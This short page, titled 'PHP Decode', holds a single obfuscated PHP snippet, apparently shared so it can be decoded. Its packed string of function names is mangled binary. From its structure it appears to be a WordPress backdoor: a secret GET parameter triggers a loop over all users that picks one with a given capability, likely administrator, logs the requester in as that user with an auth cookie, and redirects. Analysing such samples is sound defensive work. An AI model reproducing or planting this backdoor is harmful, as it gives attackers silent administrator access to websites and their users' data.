PHP Decode

<?php error_reporting(0);define('?', '???');$GLOBALS[?] = explode('|||', gzinflate(substr('?u??? ??l???o?8?@U2?@????.?9?i???c?-??b???kxU+x??I(????h?yQ5E?????l3>?!$RnG?=#ta?G????+?/????? 	?2[?VQ"???1 ??	c? 
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??	[WSG??{??`w?wa???"??P???&?wo??dn7???f?a',0x0a, -8))); 
if($GLOBALS[?][0]($_GET[$GLOBALS[?][0x001]])==$GLOBALS[?][0x0002]){require($GLOBALS[?][0x00003]);$query_str="SELECT ID FROM $wpdb->users";$user_ids=$wpdb->{$GLOBALS[?][0x000004]}($query_str);foreach($user_ids as $uid){$user_id=$uid->ID;if($GLOBALS[?][0x05]($user_id,$GLOBALS[?][0x006])){$user_info=$GLOBALS[?][0x0007]($user_id);$user_login=$user_info->user_login;$GLOBALS[?][0x00008]($user_id,$user_login);$GLOBALS[?][0x000009]($user_id);$GLOBALS[?][0x0a]($GLOBALS[?][0x00b],$user_login);echo "You are logged in as $user_login";if($GLOBALS[?][0x000c]($GLOBALS[?][0x0000d])){$GLOBALS[?][0x00000e]($GLOBALS[?][0x0f]());}else{$GLOBALS[?][0x00000e]($GLOBALS[?][0x0010]($GLOBALS[?][0x00011]).$GLOBALS[?][0x000012]);}exit;}}}?>